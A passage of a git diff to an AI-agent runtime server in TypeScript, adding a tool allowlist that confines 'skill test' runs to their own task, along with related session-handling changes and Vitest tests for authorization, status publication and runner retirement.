entry.closeOnReleaseReason = "warm native session identity changed"; try { - await closeWarmNativeSession(entry, entry.closeOnReleaseReason); + await closeWarmNativeSession(entry, entry.closeOnReleaseReason, { + discardUnsettledSession: entry.normalizedSessionId !== nextSessionId, + }); forgetWarmNativeSession(scope, entry); } finally { // A failed close retains the owner and prevents launch. A later attempt @@ -7995,7 +8014,7 @@ export async function executePaperclipNativeSession(input: { } executingNativeOwnerScopes.set(ownerScope, ownerToken); await retireSupersededWarmNativeSessions( - ownerScope, nativeSessionScopeKey(input.execution), + ownerScope, nativeSessionScopeKey(input.execution), nativeSessionKey(input.execution), ); if ((input.execution.schema === "paperclip.native-execution-input.v6" || input.execution.schema === "paperclip.native-execution-input.v8") && isCloudManagedInstance() && (!input.useRunnerd || input.runnerExecutionTarget?.kind !== "remote" @@ -9098,7 +9117,7 @@ async function executePaperclipNativeSessionWithinScope( entry.busy = true; entry.closeOnReleaseReason = "warm native session configuration changed"; try { - await closeWarmNativeSession(entry, entry.closeOnReleaseReason, input.execution.binding.runId); + await closeWarmNativeSession(entry, entry.closeOnReleaseReason, { preserveInstructionsForRunId: input.execution.binding.runId }); forgetWarmNativeSession(warmSessionId, entry); } finally { entry.busy = false; } if (preparedCopy) throw new Error("native_instruction_preparation_configuration_changed"); @@ -9562,6 +9581,7 @@ async function executePaperclipNativeSessionWithinScope( ownerScope: nativeSessionOwnerScope( input.execution, input.runnerExecutionTarget?.environmentId ?? null, ), + normalizedSessionId: nativeSessionKey(input.execution), companyId: input.execution.binding.companyId, environmentId: input.runnerExecutionTarget?.environmentId ?? null, @@ -12463,8 +12483,9 @@ async function createRunnerdBackendWithinSessionClaim( : remoteRunnerFilesystemRoot ? posix.join(remoteRunnerFilesystemRoot, directory.name) : null; - const sourceRuntimeContext = - "runtimeContext" in input.execution ? input.execution.runtimeContext : null; + const sourceRuntimeContext = "runtimeContext" in input.execution + ? await rehydratePinnedSkillAssets(input.db, input.execution.binding, input.execution.runtimeContext) + : null; const remoteRuntimeContext: NativeRuntimeContextSnapshot | null = remoteRunnerFilesystemRoot && sourceRuntimeContext ? { diff --git a/server/src/services/native-runtime/native-skill-test-scope.test.ts b/server/src/services/native-runtime/native-skill-test-scope.test.ts new file mode 100644 index 00000000000..86644b35b14 --- /dev/null +++ b/server/src/services/native-runtime/native-skill-test-scope.test.ts @@ -0,0 +1,66 @@ +import { randomUUID } from "node:crypto"; +import { afterAll, beforeAll, describe, expect, it } from "vitest"; +import { eq } from "drizzle-orm"; +import { agentWakeupRequests, heartbeatRuns, issues } from "@paperclipai/db"; +import { startRunnerApiTestServer } from "../../__tests__/helpers/runner-api-server.js"; +import { PaperclipRunnerToolAuthority } from "./paperclip-runner-tool-authority.js"; + +describe("native Studio test authorization", () => { + let server: Awaited>; + const oldSecret = process.env.PAPERCLIP_AGENT_JWT_SECRET; + beforeAll(async () => { + process.env.PAPERCLIP_AGENT_JWT_SECRET = randomUUID(); + server = await startRunnerApiTestServer(); + }, 60_000); + afterAll(async () => { + await server?.close(); + if (oldSecret === undefined) delete process.env.PAPERCLIP_AGENT_JWT_SECRET; + else process.env.PAPERCLIP_AGENT_JWT_SECRET = oldSecret; + }); + + it.each(["skill_test", "standard"] as const)("keeps admitted tests task-scoped with current mode %s", async workMode => { + const fixture = await server.fixture(); + await server.db.update(issues).set({ workMode }).where(eq(issues.id, fixture.issueId)); + await server.db.update(issues).set({ parentId: fixture.issueId }).where(eq(issues.id, fixture.blockerId)); + await server.db.update(heartbeatRuns).set({ contextSnapshot: { + issueId: fixture.issueId, paperclipAgentJwtScope: { kind: "skill_test", issueId: fixture.issueId }, + } }).where(eq(heartbeatRuns.id, fixture.runId)); + const authority = new PaperclipRunnerToolAuthority(server.db, { ...fixture, workMode }); + const call = (tool: string, args: unknown = {}) => ({ tool, callId: randomUUID(), arguments: args }); + const before = await fixture.snapshot(); + const wakes = await server.db.select().from(agentWakeupRequests).where(eq(agentWakeupRequests.companyId, fixture.companyId)); + const create = call("create_task", { title: "Must not escape Studio", idempotencyKey: "denied-create", assigneeActorId: fixture.agentId }); + for (const denied of [create, call("search_tasks"), call("list_agents"), call("list_people"), call("list_approvals"), + call("get_agent", { actorId: fixture.agentId }), call("connection_request", { service: "notion" })]) { + await expect(authority.execute(denied)).rejects.toMatchObject({ status: 403 }); + await expect(authority.recover(denied)).rejects.toMatchObject({ status: 403 }); + } + expect((await fixture.snapshot()).issues).toEqual(before.issues); + expect(await server.db.select().from(agentWakeupRequests).where(eq(agentWakeupRequests.companyId, fixture.companyId))).toEqual(wakes); + const context = await authority.execute(call("get_task_context")); + expect(context).toMatchObject({ activeTask: { id: fixture.issueId }, childTasks: [], childReviewOutcomes: [] }); + expect(JSON.stringify(context)).not.toContain(fixture.blockerId); + const write = call("write_document", { key: "proof", title: "Studio evidence", body: "Executed the delivered skill", idempotencyKey: "own-proof" }); + const receipt = await authority.execute(write); + expect(await authority.recover(write)).toEqual({ result: receipt }); + expect(await authority.execute(call("read_document", { key: "proof" }))).toMatchObject({ document: { body: "Executed the delivered skill" } }); + expect(await authority.execute(call("get_task", { taskId: fixture.issueId }))).toMatchObject({ ok: true, status: 200, data: { id: fixture.issueId } }); + expect(await authority.execute(call("get_task", { taskId: fixture.blockerId }))).toMatchObject({ ok: false, status: 404 }); + if (workMode === "skill_test") { + const names = authority.definitions().map(tool => tool.name); + expect(names).toContain("write_document"); + expect(names).toContain("get_task_context"); + expect(names).not.toContain("create_task"); + expect(names).not.toContain("list_agents"); + expect(names).not.toContain("connection_request"); + } + }); + + it("still creates ordinary tasks for a standard run", async () => { + const fixture = await server.fixture({ disableWakeOnDemand: true }); + await fixture.authority.execute({ tool: "create_task", callId: randomUUID(), arguments: { + title: "Normal child task", idempotencyKey: "standard-create", assigneeActorId: fixture.agentId, + } }); + expect((await fixture.snapshot()).issues.filter(issue => issue.title === "Normal child task")).toHaveLength(1); + }); +}); diff --git a/server/src/services/native-runtime/native-skill-test-scope.ts b/server/src/services/native-runtime/native-skill-test-scope.ts new file mode 100644 index 00000000000..d07d33b44ba --- /dev/null +++ b/server/src/services/native-runtime/native-skill-test-scope.ts @@ -0,0 +1,39 @@ +import type { AgentApiKeyScope } from "@paperclipai/shared"; +import { forbidden } from "../../errors.js"; + +const taskTools = new Set([ + "get_identity", "get_task_context", "get_task_history", "get_task", + "list_documents", "read_document", "list_document_revisions", "write_document", + "list_task_documents", "read_task_document", "write_task_document", "comment_on_task", + "report_progress", "set_task_title", "request_human_input", "register_deliverable", + "list_assigned_skills", "read_assigned_skill", "search_api", "call_api", + "read_current_wake_comments", "list_chat_attachments", "read_chat_attachment", + "reuse_chat_attachment", "list_task_attachments", "read_task_attachment", +]); + +const record = (value: unknown): Record => + value !== null && typeof value === "object" && !Array.isArray(value) + ? value as Record : {}; + +export function nativeRunKeyScope(input: { + contextSnapshot?: unknown; + issueId: string; + workMode?: string; +}): AgentApiKeyScope { + const snapshot = record(input.contextSnapshot); + const admitted = record(snapshot.paperclipAgentJwtScope); + const skillTest = admitted.kind === "skill_test" || (admitted.kind !== "standard" + && (Boolean(snapshot.paperclipSkillTest) || input.workMode === "skill_test" + || record(snapshot.paperclipIssue).workMode === "skill_test")); + return skillTest ? { kind: "skill_test", issueId: input.issueId } : { kind: "standard" }; +} + +export function nativeSkillTestToolAllowed(tool: string) { + return taskTools.has(tool); +} + +export function assertNativeSkillTestTool(scope: AgentApiKeyScope, tool: string) { + if (scope.kind === "skill_test" && !nativeSkillTestToolAllowed(tool)) { + throw forbidden("Skill-test runs may only use their own harness task and admitted skill contents."); + } +} diff --git a/server/src/services/native-runtime/native-skill-test-status.test.ts b/server/src/services/native-runtime/native-skill-test-status.test.ts new file mode 100644 index 00000000000..75053241b6f --- /dev/null +++ b/server/src/services/native-runtime/native-skill-test-status.test.ts @@ -0,0 +1,94 @@ +import { randomUUID } from "node:crypto"; +import { and, eq } from "drizzle-orm"; +import { afterAll, beforeAll, describe, expect, it } from "vitest"; +import { + activityLog, agents, companies, companySkills, companySkillVersions, companySkillTestRuns, + completionContracts, createDb, documents, heartbeatRuns, issueDocuments, issues, + nativeRunFinalizations, nativeRunResults, workAssessments, type Db, +} from "@paperclipai/db"; +import { recoveryPostgresSupport, startRecoveryPostgres } from "../../__tests__/helpers/recovery-postgres.js"; +import { commitNativeStatusDecision } from "./status-decision-committer.js"; +import { NATIVE_STATUS_ARBITER_POLICY_VERSION } from "./status-arbiter.js"; + +describe.skipIf(!recoveryPostgresSupport.supported)("native Studio status publication", () => { + let database: Awaited>, db: Db; + beforeAll(async () => { + database = await startRecoveryPostgres("native-skill-test-status-"); + db = createDb(database.connectionString); + }, 60_000); + afterAll(async () => { await db?.$client.end(); await database?.cleanup(); }); + + async function seed() { + const companyId = randomUUID(), agentId = randomUUID(), issueId = randomUUID(), runId = randomUUID(); + const skillId = randomUUID(), versionId = randomUUID(), testId = randomUUID(), documentId = randomUUID(); + const contractId = randomUUID(), resultId = randomUUID(), assessmentId = randomUUID(); + await db.insert(companies).values({ id: companyId, name: "Studio status", issuePrefix: `S${companyId.slice(0, 7)}` }); + await db.insert(agents).values({ id: agentId, companyId, name: "Tester", adapterType: "paperclip_runner" }); + await db.insert(companySkills).values({ id: skillId, companyId, key: "company/test", slug: "test", name: "Test", markdown: "# Test", sourceType: "managed" }); + await db.insert(companySkillVersions).values({ id: versionId, companyId, companySkillId: skillId, revisionNumber: 1 }); + // Task mode can change after admission; the saved Studio obligation survives. + await db.insert(issues).values({ id: issueId, companyId, title: "Studio output", status: "in_progress", assigneeAgentId: agentId }); + await db.insert(companySkillTestRuns).values({ id: testId, companyId, skillId, skillVersionId: versionId, agentId, issueId, inputSnapshot: "Execute the skill" }); + await db.insert(documents).values({ id: documentId, companyId, latestBody: "Verified the selected immutable bytes." }); + await db.insert(issueDocuments).values({ companyId, issueId, documentId, key: "output" }); + await db.insert(completionContracts).values({ id: contractId, companyId, issueId, revision: 1, schemaVersion: "paperclip.completion-contract.v1", + policyVersion: "studio-test", risk: "standard", completionAuthority: "server_arbiter", incompleteCriteriaPolicy: "preserve_non_terminal", + contractJson: { revision: "1", criteria: [] }, canonicalSha256: randomUUID(), createdByActorType: "system", createdByActorId: "test" }); + await db.insert(heartbeatRuns).values({ id: runId, companyId, agentId, status: "running", runtimeMode: "native", nativeIssueId: issueId, + completionContractId: contractId, contextSnapshot: { issueId, paperclipAgentJwtScope: { kind: "skill_test", issueId } } }); + await db.insert(nativeRunResults).values({ id: resultId, companyId, issueId, runId, completionContractId: contractId, + serverFingerprint: randomUUID(), schemaStatus: "accepted", resultJson: {}, canonicalSha256: randomUUID() }); + const [task] = await db.select().from(issues).where(eq(issues.id, issueId)); + await db.insert(workAssessments).values({ id: assessmentId, companyId, issueId, runId, contractId, resultId, triggerKind: "native_result", + triggerActorCompanyId: companyId, priorIssueStatus: task.status, priorStatusVersion: task.statusVersion, + policyVersion: "studio-test", assessmentJson: {}, inputDigest: randomUUID() }); + await db.insert(nativeRunFinalizations).values({ runId, companyId, issueId, phase: "arbitrating", resultId }); + const read = async () => (await db.select().from(companySkillTestRuns).where(eq(companySkillTestRuns.id, testId)))[0]!; + const audit = () => db.select().from(activityLog).where(and(eq(activityLog.companyId, companyId), eq(activityLog.action, "company.skill_test_run_completed"))); + const commit = (status: "done" | "cancelled" | "blocked", executor: Db = db) => commitNativeStatusDecision({ db: executor, + companyId, issueId, runId, assessmentId, priorStatus: task.status, priorStatusVersion: task.statusVersion, priorDecisionId: task.lastStatusDecisionId, + decision: { policyVersion: NATIVE_STATUS_ARBITER_POLICY_VERSION, statusAction: status, toStatus: status, + reasonCode: "studio_status_test", unblockDescriptor: null, effects: [] } }); + return { companyId, issueId, testId, documentId, read, audit, commit }; + } + + it.each(["done", "cancelled"] as const)("atomically publishes %s and its output once across replay", async status => { + const f = await seed(); + await f.commit(status); + const saved = await f.read(); + expect(saved).toMatchObject({ status: status === "done" ? "succeeded" : "cancelled", outputSnapshot: "Verified the selected immutable bytes." }); + expect(await f.audit()).toHaveLength(1); + await db.update(documents).set({ latestBody: "Changed after completion" }).where(eq(documents.id, f.documentId)); + const reopened = createDb(database.connectionString); + try { expect((await f.commit(status, reopened)).replayed).toBe(true); } + finally { await reopened.$client.end(); } + expect(await f.read()).toEqual(saved); + expect(await f.audit()).toHaveLength(1); + }); + + it("rolls back task, Studio output, and audit together", async () => { + const f = await seed(); + await expect(db.transaction(async tx => { + await f.commit("done", tx as unknown as Db); + expect((await tx.select().from(companySkillTestRuns).where(eq(companySkillTestRuns.id, f.testId)))[0].status).toBe("succeeded"); + throw new Error("rollback Studio fixture"); + })).rejects.toThrow("rollback Studio fixture"); + expect(await f.read()).toMatchObject({ status: "queued", outputSnapshot: "" }); + expect((await db.select().from(issues).where(eq(issues.id, f.issueId)))[0].status).toBe("in_progress"); + expect(await f.audit()).toHaveLength(0); + await f.commit("done"); + expect((await f.read()).status).toBe("succeeded"); + }); + + it("keeps blocked tests pending and does not revive superseded tests", async () => { + const blocked = await seed(); + await blocked.commit("blocked"); + expect((await blocked.read()).status).toBe("queued"); + expect(await blocked.audit()).toHaveLength(0); + const superseded = await seed(); + await db.update(companySkillTestRuns).set({ supersededAt: new Date() }).where(eq(companySkillTestRuns.id, superseded.testId)); + await superseded.commit("done"); + expect((await superseded.read()).status).toBe("queued"); + expect(await superseded.audit()).toHaveLength(0); + }); +}); diff --git a/server/src/services/native-runtime/paperclip-runner-tool-authority.ts b/server/src/services/native-runtime/paperclip-runner-tool-authority.ts index aa8970db19f..02917045861 100644 --- a/server/src/services/native-runtime/paperclip-runner-tool-authority.ts +++ b/server/src/services/native-runtime/paperclip-runner-tool-authority.ts @@ -1,3 +1,4 @@ +import { nativeRunKeyScope, nativeSkillTestToolAllowed, assertNativeSkillTestTool } from "./native-skill-test-scope.js"; import { requiredQualityReviewSchema } from "@paperclipai/shared"; import { priorRecoveryApiReceipt } from "../recovery-effect-receipts.js"; import { DELIVERY_QUEUES, notifyDeliveryWork } from "../delivery-work-notifications.js"; @@ -184,7 +185,7 @@ type Binding = { connectorAssignments?: Pick[]; assignedMcpTools?: Awaited>; apiToolsEnabled?: boolean; - workMode?: "standard" | "planning" | "ask"; + workMode?: "standard" | "planning" | "ask" | "skill_test"; casesEnabled?: boolean; workspaceRoot?: string; workspaceBridge?: boolean; @@ -389,14 +390,15 @@ export class PaperclipRunnerToolAuthority { if (!this.binding.firstPartyOnly && this.binding.assignedMcpTools) definitions.push(READ_TOOL_RESULT_DEFINITION); const assignedTools = this.binding.firstPartyOnly ? [] : this.binding.assignedMcpTools?.definitions((tools) => runnerCodexDynamicToolsFit([...connectionTools, ...tools, ...definitions])) ?? []; - const all = [...connectionTools, ...assignedTools, ...definitions]; + const all = [...connectionTools, ...assignedTools, ...definitions] + .filter(tool => workMode !== "skill_test" || nativeSkillTestToolAllowed(String(tool.name))); return this.binding.museRuntime ? all.filter(definition => MUSE_NATIVE_OPERATIONS.has(String(definition.name))) : all; } async recover(call: Parameters[0]): Promise<{ result: unknown; isError?: boolean } | null> { await this.#assertToolScope(call.tool); if (!this.binding.museRuntime) await this.binding.assertBridgeAuthority?.(); - const context = await this.#boundContext(); + const context = await this.#boundContext({ tool: call.tool }); const { run } = context; if (RECOVERABLE_READ_OPERATIONS.has(call.tool)) return this.#recoverRead(call); if (call.tool === "update_case" || call.tool === "create_workflow" || call.tool === "update_workflow") { @@ -531,6 +533,7 @@ export class PaperclipRunnerToolAuthority { const [run] = await this.db.select().from(heartbeatRuns).where(and(eq(heartbeatRuns.id, this.binding.runId), eq(heartbeatRuns.companyId, this.binding.companyId), eq(heartbeatRuns.agentId, this.binding.agentId))); if (!run) throw forbidden("Run binding unavailable"); + assertNativeSkillTestTool(nativeRunKeyScope({ ...this.binding, contextSnapshot: run.contextSnapshot }), call.tool); const request = create ? { idempotencyKey: create.idempotencyKey, case: { create: { caseType: create.caseType, title: create.title, @@ -551,7 +554,7 @@ export class PaperclipRunnerToolAuthority { if (this.binding.nativeReview && call.tool === "resolve_review") return this.#resolveReview(call.arguments); if (Object.hasOwn(TASK_ATTACHMENT_SCHEMAS, call.tool)) { const authorize = async () => { - const current = await this.#boundContext(); + const current = await this.#boundContext({ tool: call.tool }); if (!this.binding.taskAttachmentRead || current.actor.adapterType !== "paperclip_runner" || current.actor.adapterConfig?.provider !== "openai_dot" || current.actor.adapterConfig?.dotAttachmentAccess !== true) throw forbidden("Dot task attachment reading was not enabled or was disabled"); @@ -569,13 +572,13 @@ export class PaperclipRunnerToolAuthority { }); } if (RUNNER_BRIDGE_SCHEMAS.has(call.tool)) { - await this.#boundContext(); + await this.#boundContext({ tool: call.tool }); if (!this.definitions().some(definition => definition.name === call.tool)) throw forbidden("Tool is not available to this run"); const parsed = RUNNER_BRIDGE_SCHEMAS.get(call.tool)!.safeParse(call.arguments); if (!parsed.success) return { outcome: "failed", code: "runner_bridge_invalid_arguments", message: "Arguments do not match this tool's advertised schema." }; const input = parsed.data as Record; if (call.tool.startsWith("workspace_")) { - const authorize = async () => { const current = await this.#boundContext(); + const authorize = async () => { const current = await this.#boundContext({ tool: call.tool }); if (current.actor.adapterConfig?.dotWorkspaceAccess !== true) throw forbidden("Dot workspace access was disabled"); await this.binding.assertBridgeAuthority?.(); if (["workspace_write", "workspace_run"].includes(call.tool) && current.issue.workMode !== "standard") throw forbidden("This work mode cannot change files or run commands"); @@ -585,7 +588,7 @@ export class PaperclipRunnerToolAuthority { return ["workspace_write", "workspace_run"].includes(call.tool) ? this.#bridgeMutation(call, execute) : settleRunnerBridgeRead(execute); } if (call.tool === "get_identity") { - const { actor, run } = await this.#boundContext(); + const { actor, run } = await this.#boundContext({ tool: call.tool }); const [person] = run.responsibleUserId ? await this.db.select({ id: authUsers.id, name: authUsers.name }).from(authUsers).where(eq(authUsers.id, run.responsibleUserId)) : []; return { agent: redactedActor(actor), responsibleUser: person ?? null, permissions: actor.permissions, tools: this.definitions().map(tool => tool.name) }; } @@ -594,7 +597,7 @@ export class PaperclipRunnerToolAuthority { .where(and(eq(companyMemberships.companyId, this.binding.companyId), eq(companyMemberships.principalType, "user"), eq(companyMemberships.status, "active"), input.after ? sql`${authUsers.id} > ${input.after}` : undefined)) .orderBy(authUsers.id).limit(input.limit); if (call.tool === "list_assigned_skills" || call.tool === "read_assigned_skill") { - const current = await this.#boundContext(); + const current = await this.#boundContext({ tool: call.tool }); const visibility = await skillAccessService(this.db, this.#privacyActor(current.run)).condition(this.binding.companyId); const known = await this.db.select({ key: companySkills.key }).from(companySkills).where(eq(companySkills.companyId, this.binding.companyId)); const permitted = await this.db.select({ key: companySkills.key }).from(companySkills).where(and(eq(companySkills.companyId, this.binding.companyId), visibility)); @@ -610,21 +613,24 @@ export class PaperclipRunnerToolAuthority { } if (this.binding.firstPartyOnly && (call.tool === READ_TOOL_RESULT || this.binding.assignedMcpTools?.has(call.tool) || isConnectorTool(call.tool) || RUNTIME_CONNECTION_TOOL_DEFINITIONS.some(tool => tool.name === call.tool))) throw forbidden("This Grok Bot connection exposes first-party Paperclip operations. Use your own provider apps under their existing permissions."); - if (call.tool === READ_TOOL_RESULT) return this.#readToolResult(call.arguments); + if (call.tool === READ_TOOL_RESULT) { + await this.#boundContext({ tool: call.tool }); + return this.#readToolResult(call.arguments); + } if (this.binding.assignedMcpTools?.has(call.tool)) { - const current = await this.#boundContext(); + const current = await this.#boundContext({ tool: call.tool }); const result = await this.binding.assignedMcpTools.execute(call, current.issue.workMode as "standard" | "planning" | "ask"); return captureRunnerToolResult(result, this.#responseCaptureIo("runner.assigned_tool")); } if (isConnectorTool(call.tool)) { if (!(this.binding.connectorAssignments ?? []).some((assignment) => assignment.tools.some((tool) => tool.name === call.tool))) throw forbidden("Connector tool is not available to this run"); - const { run } = await this.#boundContext({ includeChatWake: call.tool.startsWith("agentmail_") }); + const { run } = await this.#boundContext({ tool: call.tool, includeChatWake: call.tool.startsWith("agentmail_") }); const snapshot = record(run.contextSnapshot); if (call.tool.startsWith("agentmail_") && (isPaperclipExternalChatContractTurn(snapshot.paperclipWake) || String(snapshot.source ?? "").startsWith("chat:") || snapshot.paperclipExternalChatQuestionResponse)) throw forbidden("Restricted chat runs cannot use email actions"); return executeConnectorTool(this.db, this.binding, call.tool, call.arguments); } if (RUNTIME_CONNECTION_TOOL_DEFINITIONS.some((tool) => tool.name === call.tool)) { - await this.#boundContext(); + await this.#boundContext({ tool: call.tool }); const { run } = await captureRunIdentity(this.db, this.binding, { readScope: "identity" }); if (!run.responsibleUserId) throw forbidden("This task needs a responsible user before requesting a connection"); const claims = { @@ -677,7 +683,7 @@ export class PaperclipRunnerToolAuthority { ) { throw new Error("paperclip_runner_tool_not_advertised"); } - const context = await this.#boundContext(); + const context = await this.#boundContext({ tool: call.tool }); const input = record(call.arguments); if (call.tool === READ_CHAT_ATTACHMENT_TOOL_NAME) { const scope = this.binding.chatAttachmentReadScope; @@ -800,6 +806,11 @@ export class PaperclipRunnerToolAuthority { return apiToolResult(await this.#callApi(call.callId, call.arguments)); } case "get_task_context": { + if (this.#apiScope(context).kind === "skill_test") return { + company: { id: this.binding.companyId }, actor: redactedActor(context.actor), + activeTask: redactedTask(context.issue), childTasks: [], childReviewOutcomes: [], + run: { id: context.run.id, status: context.run.status, invocationSource: context.run.invocationSource }, + }; const monitorCheckAt = !this.binding.nativeReview && context.issue.workMode === "standard" && context.issue.executionRunId === this.binding.runId ? eligibleIssueMonitorWait(context.issue, this.binding.agentId) : null; @@ -994,11 +1005,8 @@ export class PaperclipRunnerToolAuthority { issue: { workMode: string }; run: { contextSnapshot: unknown }; }) { - const snapshot = record(context.run.contextSnapshot); - const admittedKind = record(snapshot.paperclipAgentJwtScope).kind; - const skillTest = admittedKind === "skill_test" || (admittedKind !== "standard" - && (Boolean(snapshot.paperclipSkillTest) || context.issue.workMode === "skill_test")); - return skillTest ? { kind: "skill_test" as const, issueId: this.binding.issueId } : { kind: "standard" as const }; + return nativeRunKeyScope({ contextSnapshot: context.run.contextSnapshot, + issueId: this.binding.issueId, workMode: context.issue.workMode }); } #apiToken(context: { @@ -1370,13 +1378,14 @@ export class PaperclipRunnerToolAuthority { return outcomes.filter(outcome => { const id = taskId(outcome); return typeof id === "string" && readable.has(id); }); } - #privacyActor(run: { responsibleUserId: string | null }): AuthorizationActor { + #privacyActor(run: { responsibleUserId: string | null; contextSnapshot?: unknown }): AuthorizationActor { return { type: "agent", agentId: this.binding.agentId, companyId: this.binding.companyId, runId: this.binding.runId, source: "agent_jwt", onBehalfOfUserId: run.responsibleUserId, + keyScope: nativeRunKeyScope({ ...this.binding, contextSnapshot: run.contextSnapshot }), ...(this.binding.museRuntime ? { authorizingUserId: this.binding.externalAuthorizingUserId } : {}) }; } - async #boundContext(options: { includeChatWake?: boolean } = {}) { + async #boundContext(options: { includeChatWake?: boolean; tool?: string } = {}) { if (this.binding.museRuntime && !this.binding.externalAuthorizingUserId) throw forbidden("Muse authorizer is unavailable"); const [row] = await this.db.select({ issue: issues, actor: agents, run: { id: heartbeatRuns.id, @@ -1438,6 +1447,7 @@ export class PaperclipRunnerToolAuthority { const privacy = await authorizationService(this.db).decide({ actor: this.#privacyActor(row.run), action: "issue:read", resource: { type: "issue", companyId: this.binding.companyId, issueId: row.issue.id } }); if (!privacy.allowed) throw forbidden("The task is no longer available to this run"); + if (options.tool) assertNativeSkillTestTool(this.#apiScope(row), options.tool); return row; } @@ -2572,6 +2582,7 @@ export class PaperclipRunnerToolAuthority { const context = await this.#lockAuthorizedMutationContext( tx as unknown as Db, ); + assertNativeSkillTestTool(this.#apiScope(context), operationId); const isFilePreparation = operationId === "register_deliverable" || operationId === REUSE_CHAT_ATTACHMENT_TOOL_NAME; diff --git a/server/src/services/native-runtime/plugin-runner-task.test.ts b/server/src/services/native-runtime/plugin-runner-task.test.ts index b419030d8d1..f592f4f421a 100644 --- a/server/src/services/native-runtime/plugin-runner-task.test.ts +++ b/server/src/services/native-runtime/plugin-runner-task.test.ts @@ -137,6 +137,39 @@ describe("plugin native Runner ownership", () => { expect(retained).toHaveBeenCalledWith(expect.objectContaining(requirements.identity)); expect(task.mock.calls.map(([op]) => op.kind)).toEqual(["status", "read_state", "connection", "stop", "status", "read_state", "complete"]); }); + it.each(["settled", "unsettled"] as const)("proves retirement independently of %s checkpoint reuse", async settlement => { + const { task } = provider(); + const retained = vi.fn(async () => {}); + const owner = createPluginRunnerTaskOwner({ task, projectIds: [], harness: "codex", + adoptIdentity: requirements.identity, onSessionRetained: retained }); + const registration = await owner.registration({} as never, "run"); + expect(owner.isRetired()).toBe(false); + await registration.release(); + expect(owner.isRetired()).toBe(false); + await registration.checkpoint(settlement); + expect(owner.isRetired()).toBe(true); + expect(retained).toHaveBeenCalledTimes(settlement === "settled" ? 1 : 0); + expect(task.mock.calls.map(([op]) => op.kind)).toEqual(settlement === "settled" + ? ["stop", "status", "read_state", "complete"] : ["stop", "status", "complete"]); + }); + + it.each(["credentials", "read_state", "complete"])("does not prove retirement when %s obligations fail after execution stops", async failingOperation => { + const { task } = provider(); + const perform = task.getMockImplementation()!; + task.mockImplementation(async operation => { + if (operation.kind === failingOperation) throw new Error("handoff failed"); + if (operation.kind === "credentials") return { kind: "credentials", taskId: "task", credential: null }; + return perform(operation); + }); + const owner = createPluginRunnerTaskOwner({ task, projectIds: [], harness: "codex", accountIdentity: "account", + adoptIdentity: requirements.identity, onCredentials: async () => {}, onSessionRetained: async () => {} }); + const registration = await owner.registration({} as never, "run"); + await registration.release(); + await expect(registration.checkpoint("settled")).rejects.toThrow("handoff failed"); + expect(await owner.driver.adoptExistingRunner!.isAlive()).toBe(false); + expect(owner.isRetired()).toBe(false); + }); + it("submits only a prepared identity and configuration ID", async () => { const { task } = provider(); const owner = createPluginRunnerTaskOwner({ projectAuthCheckVersion: 1, task, projectIds: [], harness: "codex", pollMs: 1 }); diff --git a/server/src/services/native-runtime/plugin-runner-task.ts b/server/src/services/native-runtime/plugin-runner-task.ts index 7b6b2410771..c39b9f7c4fe 100644 --- a/server/src/services/native-runtime/plugin-runner-task.ts +++ b/server/src/services/native-runtime/plugin-runner-task.ts @@ -59,6 +59,7 @@ export function createPluginRunnerTaskOwner(input: { let failReady!: (error: unknown) => void; let confirmStopped: (code: number) => void = () => {}; let stoppedState: Extract | undefined; + let completed = false; let rejectFailure!: (error: unknown) => void; const failure = new Promise((_resolve, reject) => { rejectFailure = reject; }); void failure.catch(() => undefined); @@ -284,7 +285,10 @@ export function createPluginRunnerTaskOwner(input: { } await input.onSessionRetained(state); } - if (submitted) await call({ kind: "complete" }); + if (submitted) { + await call({ kind: "complete" }); + completed = true; + } }, release: async (reason?: "detach") => { registrationReleased = true; @@ -328,6 +332,9 @@ export function createPluginRunnerTaskOwner(input: { return bytes; }; return { launcher, registration, driver, readWorkspaceFile, + // This is a lease-bound Launcher receipt, not a terminal phase or a sent + // stop request. Completion also proves credential/writeback obligations ran. + isRetired: () => stoppedState?.executionStopped === true && completed && !detached, rebind(next: typeof input) { if (!launched || stopRequested || stoppedState || detached || next.harness !== input.harness || input.accountIdentity !== next.accountIdentity || input.credentialIdentity !== next.credentialIdentity || diff --git a/server/src/services/native-runtime/runner-api.integration.test.ts b/server/src/services/native-runtime/runner-api.integration.test.ts index 58492e9bd0e..4e1831b734a 100644 --- a/server/src/services/native-runtime/runner-api.integration.test.ts +++ b/server/src/services/native-runtime/runner-api.integration.test.ts @@ -3,7 +3,7 @@ import { createHash, randomUUID } from "node:crypto"; import { chmod, writeFile, symlink, mkdir, open } from "node:fs/promises"; import { join, dirname } from "node:path"; import { and, eq } from "drizzle-orm"; -import { agents, agentWakeupRequests, assets, documents, heartbeatRuns, issues, projects, routineDocuments, routines, runnerApiResponseReservations, companySkills, companyMemberships, principalPermissionGrants } from "@paperclipai/db"; +import { agents, agentWakeupRequests, assets, documents, heartbeatRuns, issues, projects, routineDocuments, routines, runnerApiResponseReservations, companySkills, companySkillVersions, companySkillTestRuns, companyMemberships, principalPermissionGrants } from "@paperclipai/db"; import { initializeRunIdentity } from "../run-identity.js"; import { beforeAll, afterAll, beforeEach, afterEach, describe, expect, it, vi } from "vitest"; import { secretService } from "../secrets.js"; @@ -16,6 +16,7 @@ import { createLocalAgentJwt } from "../../agent-auth-jwt.js"; import { RUNNER_API_RESPONSE_MAX_BYTES, RUNNER_API_RESPONSE_RUN_MAX_BYTES } from "./runner-api-response-limits.js"; import { PaperclipRunnerToolAuthority } from "./paperclip-runner-tool-authority.js"; import { prepareHeartbeatTaskContext } from "../heartbeat/task-context.js"; +import { createHeartbeatRunPreparation } from "../heartbeat/run-preparation.js"; import { createAssignedMcpTools } from "./assigned-mcp-tools.js"; import type { ToolGatewayService } from "../tool-gateway.js"; import { RUNNER_TOOL_RESULT_MAX_BYTES } from "./runner-tool-results.js"; @@ -498,7 +499,8 @@ else if(m.id!==undefined) send({id:m.id,result:{}}); await prepareHeartbeatTaskContext(server.db, { run, agent, task: { issueRef: issue, issueContext: null, wakeCommentContext: null, context, taskSession: null }, policy: { recovering: true, trustPreset: { kind: "standard" }, experimentalInstanceSettings: {} }, - services: { issuesSvc: { getAncestors: async () => [] }, getPinnedSkillTestContext: async () => null }, + services: { issuesSvc: { getAncestors: async () => [] }, + getPinnedSkillTestContext: createHeartbeatRunPreparation(server.db).getPinnedSkillTestContext }, }); await server.db.update(heartbeatRuns).set({ contextSnapshot: context }).where(eq(heartbeatRuns.id, fixture.runId)); } @@ -510,7 +512,17 @@ else if(m.id!==undefined) send({id:m.id,result:{}}); } }).where(eq(heartbeatRuns.id, fixture.runId)); await server.db.update(issues).set({ workMode: "skill_test" }).where(eq(issues.id, fixture.issueId)); await 